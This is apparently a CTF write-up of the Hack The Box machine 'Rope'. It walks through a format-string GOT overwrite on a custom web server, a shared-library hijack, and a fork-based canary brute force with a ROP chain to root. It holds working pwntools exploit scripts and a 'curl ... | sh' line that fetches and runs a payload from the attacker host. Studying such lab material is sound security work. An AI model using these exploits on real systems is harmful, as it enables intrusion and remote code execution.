> For the complete documentation index, see [llms.txt](https://f69.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://f69.gitbook.io/public/hack-the-box/boxes/rope.md).

# Rope

Rope is an insane machine from hackthebox that will have to exploit an arbitrary file read to download the binary of the running web server and perform reverse engineering to it. With that, you will need to exploit format strings in order to overwrite the GOT table with the address of `system()` and pass arguments to it through the HTTP method to spawn a shell as john. After it, you will need to check the files that can be executed as other users. Doing that, you will see that the file that can be ran as r4j uses a library that your current user can write. After writing a malicious shared library in the location and getting shell as r4j, you will have access to the file a process that is being ran as the root user. Downloading it, the attack will exploit a buffer overflow with almost protections enabled by exploit the `fork()` calls on the program to brute the canary.

### Enumeration

Doing a nmap port scanning, we can discover the ports **22** and **9999** opened.

<figure><img src="/files/HDrK45MsH4CaK4D6u7K5" alt="fe293af4351546c4bc0452d93fccd4b7.png"><figcaption></figcaption></figure>

Opening the page in a web browser, it shows us a login page.

<figure><img src="/files/LoUAdojx59Mwa4q9GEG0" alt="5e0a229e06d84db09e9cfab4c1be4052.png"><figcaption></figcaption></figure>

Fuzzing the paths with the "**fuzz-Bo0m**" wordlist, we can find an interesting file named "**run.sh**"

<figure><img src="/files/fwmiHnig8axeDDjOwjCw" alt="562ac3aa2e864c6db9e14fe4579cb4f5.png"><figcaption></figcaption></figure>

Accessing it, gives to us the name of the webserver that it is running on CWD.

<figure><img src="/files/1DBO9FXxeWvmAhQMo3XG" alt="2fdb0e3cbf764b3887248d69e26425f6.png"><figcaption></figcaption></figure>

With an attempt to access it directly, we can download the binary.

<figure><img src="/files/4K0cLtvBivBVSVMSjW0s" alt="56397293e59642c2aa22225125d3f39e.png"><figcaption></figcaption></figure>

### Shell as john

Running a checksec on the binary, we can see that it has canary, NX and PIE enable with partial RELRO.

<figure><img src="/files/azXfOSTaCt3TvzJvlptW" alt="9fac453d1f1d4e4c9626c5705263965b.png"><figcaption></figcaption></figure>

Opening the file in IDA to get a dissasembled version of the binary, it's possible to check the program's main function.

<figure><img src="/files/O1r4Kc4zvyirrd1uUqeH" alt="3f1f2a1532704fc1992e9a2f3ab00fca.png"><figcaption></figcaption></figure>

This part of the program is just setting the binary to listen to the **9999** port, create a new process with "**fork()**" and call the "**process()**" within it.

Before perform actions with the data, the "**process()**" function calls the "**parse\_request()**" to, what seems, parse the request obtained from the user.

<figure><img src="/files/7V3xeo8x2KtMTjpWJ8Zp" alt="85c3f1185c91aa625b45e38ed57e3741.png"><figcaption></figcaption></figure>

The "**parse\_request()**" can be resumed in the following pseudo code:

```c
struct {
	char method[1024];
	char path[1024];
	unsigned long int range_start;
	unsigned long int range_end;
} req_data

range_start, range_end = (0, 0)

line = readlinen(request, 1024)
scanf(line,"%s %s", req_data.method, req_data.path)

while method[0] != '\n' and method[0] != '\n':
    line = readlinen(request, 1024)
    if line.startswith("Ran"):
		scanf(line, "Range: bytes=%lu-%lu", req_data.range_start, req_data.range_end)

if req_data.path[0] == '/':
	for c in range(len(req_data.path):
		if req_data.path[c] == '?':
			req_data.path[0] = 0
else:
	req_data.path = "index.html"

url_decode(req_data.path)
return
```

This means that we can pass a header named "**Range**" with two numbers that the program will perform something with them further. Let's go back to the process function.

After parsing the data, the program call one function, "**serve\_static()**" if the requested path is a file, or "**handle\_directory\_request**", if it is a directory.

Reading the disassemble of server\_static, it's possible to see how's the program logic.

<figure><img src="/files/xoMbvH0wa2oVt77ijxKe" alt="Pasted image 20241228212041.png"><figcaption></figcaption></figure>

Basically, the program is sending us some headers and calling "**sendfile(out\_fd, in\_fd, range\_start, range\_end-range\_start)**", which "**in\_fd**" being "**open(req\_data.path)**".

This means that, theoretically, we can just pass the full path of any file on the machine that the user running the program can read and it's value will return to us. Testing this theory with "**/etc/passwd**", we can get the file successfully.

<figure><img src="/files/Gn9N1ItqR7PUEc0Cf2iZ" alt="Pasted image 20241228213151.png"><figcaption></figcaption></figure>

That's great. For now, let's go back to process.

Before return to the main function, the program calls "\**log\_access(int status, in\_addr* con, \*req\_data)\*\*".

<figure><img src="/files/E9D1AApFalZHkCNm7BD1" alt="Pasted image 20241228210522.png"><figcaption></figcaption></figure>

At the line 12, we can clearly see a format string bug, where our path is sent to "**printf()**" without any sanitisation. This bug can give to us a read and a write primitive to the binary memory.

As after the format string vulnerability the program calls "**puts()**" with an argument that we control "**req\_data->method**" and the binary only has partial RELRO, we can perform a GOT overwrite to overwrite the GOT index of puts with the address of "**system**" on glibc. So, instead of calling "**puts(req\_data->method)**" it will call "**system(req\_data->method)**".

But, as the binary has PIE enabled, and the system (probably) has ASLR, we have to find a way to leak an address and calculate the base addresses by using them.

We could use the format string bug to achieve this, but it only prints to the output of the program, so no data is sent to us.

One interesting directory in linux is the "**/proc/\<pid>**" directory. It has some files that contains information about process with the requested PID, or about the current process if the directory accessed is "**self**".

One of these files is the "**/proc/\self/maps**" because it contains the memory mapping of the program and the shared libraries.

<figure><img src="/files/iUzace7WLlxwEWEWGTTh" alt="Pasted image 20241228213610.png"><figcaption></figcaption></figure>

This means that, if we can access this file, we have the base address of the binary and libc. So, we can use our arbitrary file read to read this file, right?

<figure><img src="/files/6cnRm0IuFkc647dgOklR" alt="Pasted image 20241228213903.png"><figcaption></figcaption></figure>

Trying to access the file, gives to us an empty response. Why?

We can see in the "**Content-length**" header that the program identified the length of the file being 0. Running the command "**stat**" on "**/proc/self/maps**" in our machine gives to us that, in fact, the operational system identifies this file having the length of 0.

<figure><img src="/files/NQgKA0RMVX6xvrWqy1T6" alt="Pasted image 20241228214307.png"><figcaption></figcaption></figure>

So, we need a way to pass the correct length to the program. And we have it. When calling "**sendfile()**", the program sends the start offset and how bytes it will read as the arguments received through the "**Range**" header.

Trying request the file again but with the new headers, the mapping file is returned.

<figure><img src="/files/8s43yI8KacPTnytNm9uS" alt="Pasted image 20241228214907.png"><figcaption></figcaption></figure>

With all these information, we are ready to write our exploit.

At first, we need to write a function to download the mapping.

```python
from pwn import *

server = "10.129.206.164"
port   = 9999

def get_bases():
	r = remote(server, port)
	r.send("GET //proc/self/maps HTTP/1.1\r\nRange: bytes=0-9999\r\n\r\n")
	maps = r.recvall().decode()
	r.close()

	print(maps)
	maps = maps.split('\n')[6:]
	elf_base  = int(maps[0].split('-')[0], 16)
	libc_base = int(maps[6].split('-')[0], 16)

	return elf_base, libc_base

elf_base, libc_base = get_bases()

log.success(f"ELF base: {hex(elf_base)}")
log.success(f"libc base: {hex(libc_base)}")
```

After that, we will need to calculate the "**system()**" function in libc. We currently do not have the glibc file, so let's download with our bug.

<figure><img src="/files/3aK2fVQgibWHmuzBbvqW" alt="Pasted image 20241228215551.png"><figcaption></figcaption></figure>

```python
elf  = context.binary = ELF("./httpserver", checksec=False)
libc = ELF("./libc-2.27.so", checksec=False)

elf.address  = elf_base
libc.address = libc_base

log.info(f"puts@gots: {hex(elf.got["puts"])}")
log.info(f"system@libc: {hex(libc.sym["system"])}")
```

Fortunately, [pwntools](https://docs.pwntools.com/en/stable/) gives to us an interface to explore format strings bugs named [fmtstr\_payload](https://docs.pwntools.com/en/stable/fmtstr.html#pwnlib.fmtstr.fmtstr_payload).

```python
payload = fmtstr_payload(53, {elf.got["puts"]: libc.sym["system"]})
payload_encoded = urllib.parse.quote(payload)
print(payload_encoded)
```

Finally, we can send our malicious command to download a reverse shell and execute it.

```python
r = remote(server, port)
r.send("curl${IFS}http://10.10.14.174|sh /")
r.send(payload_encoded)
r.send(" HTTP/1.1\r\n\r\n")
r.close()
```

After executing the exploit, we got a reverse shell connection.

<figure><img src="/files/JDbONJPenAXMa6gflNwR" alt="Pasted image 20241228221014.png"><figcaption></figcaption></figure>

### Shell as r4j

As the goal of these writeups is to write only about memory corruption, I will be skipping how the details of how to get shell as this user. As a short description, you will need to list the commands that you can run as other users by using `sudo -l`. Doing that, you will find that you can execute `/usr/bin/readlogs` as r4j. Checking the shared libraries of the file, you can check that the binary uses the `/lib/x86_64-linux-gnu/liblog.so` and you can write to it.

By decompiling the `readlogs` file, you will discover that it calls a function named `printlog`. So, you will need to create a shared object file with a function named as `printlog` that calls `system()` from `stdlib.h` and copy this file to the location of `liblog.so`. After that, you can just call `sudo -u r4j readlogs` and execute what you put on the shared object.

### Shell as root

With a shell as r4j, we can start enumerating the machine in order to search some way to escalate our privileges up. Using the command `ss -tulpn`, it's possible to see a running process that is listening the port **1337** on the machine. Let's download the file to our machine.

Opening it in IDA, we can see how the program works.

<figure><img src="/files/ppXiWE3RJUi5pnS7bCx1" alt="Pasted image 20250106141018.png"><figcaption></figcaption></figure>

It setups a socket listening on the port **1337** and starts a loop to handle the receiving connections. When a connection is received, the program calls the `sub_14EE` function sending the file descriptor of the connection to it.

<figure><img src="/files/hIcJpIH7BJoDnTXJYoXO" alt="Pasted image 20250106141635.png"><figcaption></figcaption></figure>

In the function start, it calls the `fork` function, effectively forking the process and creating a new thread. After it, the program writes `Please enter the message you want to send to admin:` to the connection and calls the `sub_159A` function.

<figure><img src="/files/eGxHrVUg1HIVOGvCsRUX" alt="Pasted image 20250106141938.png"><figcaption></figcaption></figure>

At this function, we clearly have a buffer overflow vulnerability, where the function `recv` writes 1024 bytes to a buffer that only supports 56 bytes. So, what we can do with this?

<figure><img src="/files/QaoH8gxti6MC3Q85lIwB" alt="Pasted image 20250106142120.png"><figcaption></figcaption></figure>

The program has almost all the protections enabled, just having partial reallocation read-only as the least level of protection.

We will need a way to find or leak the canary, in order bypass the stack smashing protection feature, and leak the instruction pointer register (**RIP**), to locate ourselves in the binary and calculate the offset in order to redirect the execution flow to a ROP chain. And how could we leak them?

If you paid attention, you said that I've mentioned that the program calls `fork()` to each received connection. When this function is called, the current stack is copied to the new process. This implies that, for every new process, the same canary value is used.

As the canary protection works by checking if the value overwritten on the canary address stored in the stack is equal than the value stored earlier in the stack (where we can't write), if we sent one byte and the connection do not crash, we can assume that the byte we sent is correctly part of the canary. Let's test this theory.

Before running the program in GDB, we must set the **detach-on-fork** option to **off** and **follow-fork-mode** to **child**.

<figure><img src="/files/gTQaY3a9YFMXhe4vXQVC" alt="Screenshot_20250106_155020.png"><figcaption></figcaption></figure>

After that, we will need to setup a breakpoint after the buffer overflow. Which is at the 0x15CC offset.

<figure><img src="/files/MZYHCZRq6bALZfql5LUi" alt="Pasted image 20250106160711.png"><figcaption></figcaption></figure>

After sending 56 bytes followed by a "**\x69**" to **localhost:1337** with `python3 -c 'from pwn import *; import sys; sys.stdout.buffer.write(b"A"*56 + b"\x69")' | nc localhost 1337`, we can reach the breakpoint.

First, we can check the current canary with pwndbg's canary command.

<figure><img src="/files/XLTwv4IWL3JH66WE0t9n" alt="Pasted image 20250106161355.png"><figcaption></figcaption></figure>

`0x1e89ca993f04e900` is our value. Now, reading the 10 QWORDS in the stack, it's possible to see the canary with only the last byte tampered.

<figure><img src="/files/8F0o7w0tx3oWV4tAT1wI" alt="Pasted image 20250106161449.png"><figcaption></figcaption></figure>

As the canary value was changed to a different value, if we continue the execution we should see a stack smashing message.

<figure><img src="/files/m2zxmpqx0GuPoWGMKNcz" alt="Pasted image 20250106162800.png"><figcaption></figcaption></figure>

One interesting behaviour is that if we come back to the server response, it is possible to see that, as the process was exited, no response came.

<figure><img src="/files/wuCtEKuIkYBM3nj8n5Lt" alt="Pasted image 20250106162834.png"><figcaption></figcaption></figure>

Now, as the canary stack value always will end with a null byte, let's send 56 As followed by a zero.

<figure><img src="/files/K7Z6sHISKJlELyPStuv8" alt="Pasted image 20250106181139.png"><figcaption></figcaption></figure>

We received a different response. In this time, the server answered us with a "`Done.`" string. And as we can tell what bytes were correct, it's possible to brute the canary (and other things).

```python
from pwn import *
from time import *

server = "localhost"
port   = 1337
crash  = 56

def brute_8_bytes(data, pre_payload, delay=False):
    content = b""

    while len(content) != 8:
        for i in range(256):
            byte = int.to_bytes(i)

            r = remote(server, port, level="warning")

            print(f"trying byte {hex(int.from_bytes(byte))}\r", end='')

            r.send(pre_payload + content + byte)

            if delay:
                sleep(1)
                
            res = r.clean()
            r.close()

            if b"Done.\n" in res:
                content += byte
                log.info(f"{data} updated: {content}")
                break

    return content

payload = cyclic(crash)
canary = u64(brute_8_bytes("canary", payload, port != 1337))
breakpoint()
```

You can see that the delay parameter is set to `True` if port is equal to 1337. The reason to this be in the code is because you will need to forward the port from the machine. And as SSH's port forwarding is kind of buggy, you will need to apply a little delay before receiving the response.

<figure><img src="/files/RRW1fFc95btPC3BBJgXd" alt="Pasted image 20250106184121.png"><figcaption></figcaption></figure>

The canary had change because the program was restarted, but attaching GDB to the new instance we can see that the found canary is correct.

<figure><img src="/files/82wMUqQWQTCGzM4oBZuq" alt="Pasted image 20250106184257.png"><figcaption></figcaption></figure>

Now, we have the canary. To keep continuing exploring the binary, we should overwrite the instruction pointer with the address of the start of our ROP chain. The executable was compiled with PIE, so we do not have static address to overwrite the return address with. We need to find a way to get it and calculate the other offsets with it.

Let's inspect the binary stack and search for the return address.

<figure><img src="/files/aUuQQi0KtZSS0aIrS8Q8" alt="Pasted image 20250106193449.png"><figcaption></figcaption></figure>

We can see that 16 bytes after the end of the buffer we have what seems a pointer to an instruction. Let's finalise the current function and see if the RIP is equal that value.

<figure><img src="/files/SwVPRGl1Qm73eAJEbxWF" alt="Pasted image 20250106194149.png"><figcaption></figcaption></figure>

Nice, there it is. So, if we use the same methodology we used to brute the canary but this time writing the return address it should work as well but not so reliable. As we will write the return address, if we overwrite it with any executable address, it should not crash. We can prevent this by overwriting the last byte (or the last 12 bits) with the parts that we already have (0x62).

Before bruting the return address, we must to get RBP in order to get our payload working. We can use our function to do this without any problems.

```python
payload += p64(canary)
rbp = u64(brute_8_bytes("rbp", payload, port != 1337))
payload += p64(rbp)

rip = brute_8_bytes("rip", payload, port != 1337)
rip = u64(b"\x62" + rip[1:])

breakpoint()
```

After run the updated exploit, we got the return address.

<figure><img src="/files/UBINfaD6fSwIbgFHXoqR" alt="Pasted image 20250106202230.png"><figcaption></figcaption></figure>

To calculate the elf base address from this we just need to subtract 0x1562 from this value.

<figure><img src="/files/8ueN9L5EsR77KmCbRvHa" alt="Pasted image 20250107170904.png"><figcaption></figcaption></figure>

With the `libs` commands from pwndbg, we can verify that this is indeed the base address.

<figure><img src="/files/v5qnZtUVgYSgmexADpBo" alt="Pasted image 20250107170945.png"><figcaption></figcaption></figure>

Now it's easy to get the libc base address by using the [ret2plt](https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got#ret2plt) technique to call `write()` from PLT to write the `printf()` GOT address to the socket.

```python
pie = rip - 0x1562
log.info(f"PIE offset: {hex(pie)}")

elf = context.binary = ELF("./contact", checksec=False)
elf.address = pie

RET     = 0x1016    # ret
POP_RDI = 0x164b    # pop rdi ; ret
POP_RSI_R15 = 0x1649    # pop rsi ; pop r15 ; ret
POP_RDX = 0x1265    # pop rdx ; ret
rop = flat(
    payload,
    elf.address + POP_RDI,
    4,                          # int fildes
    elf.address + POP_RSI_R15,
    elf.got["printf"],          # const void *buf
    p64(0xdeadbeefcafebabe),    # foo to pop r15
    elf.address + POP_RDX,
    8,                          # size_t nbyte
    elf.address + RET,
    elf.plt["write"]
)

con = remote(server, port, level="info")
con.recvuntil("Please enter the message you want to send to admin:\n")
con.send(rop)
printf = u64(con.recvall())
con.close()
breakpoint()
```

Running it and printing the received value, we got a value.

<figure><img src="/files/WzNRqSdUCU9EUUJFf1tb" alt="Pasted image 20250107172347.png"><figcaption></figcaption></figure>

Checking what the value is with pwndbg, we can state that it is the `printf()` address.

<figure><img src="/files/7z7bJu05KpLql35AFanJ" alt="Pasted image 20250107172423.png"><figcaption></figcaption></figure>

Now we can use this value to get the libc base address.

```python
libc = ELF("./libc.so.6", checksec=False)
libc.address = printf - libc.sym["printf"] 
log.success(f"glibc base: {hex(libc.address)}")
log.info(f"dup2@glibc: {hex(libc.sym["dup2"])}")
```

With the lib address, we can calculate any function address and a ROP chain to execute them. If we execute `execve("/bin/sh")` to spawn a shell, the shell input would go to the default **stdin** and the output would go to the default **stdout**, which have 0 and 1 as file descriptors, respectively.

To redirect the shell to us, we must use the `dup2` function to copy these file descriptors to the file descriptor of the current connection before calling `execve()` itself.

```python
payload = flat(
    b'A'*crash,
    canary,
    rbp, 

    elf.address + POP_RDI,
    4,                          # newfd
    elf.address + POP_RSI_R15,
    0,                          # oldfd -> stdin
    0,                          # junk r15
    libc.sym["dup2"],

    elf.address + POP_RDI,
    4,                          # newfd
    elf.address + POP_RSI_R15,
    1,                          # oldfd -> stdout
    0,                          # junk r15
    libc.sym["dup2"],

    elf.address + POP_RDI,
    next(libc.search(b"/bin/sh")),    # /bin/sh addr
    elf.address + POP_RSI_R15,
    0,
    0,
    libc.sym["execve"],
    libc.sym["exit"]
)

con = remote(server, port, level="info")
con.recvuntil("Please enter the message you want to send to admin:\n")
con.send(payload)
con.interactive()
con.close()
```

Running the entire exploit, we can get a shell spawned from the machine.

<figure><img src="/files/1b2jfzMblb6HzjdJ2QRg" alt="Pasted image 20250107174311.png"><figcaption></figcaption></figure>
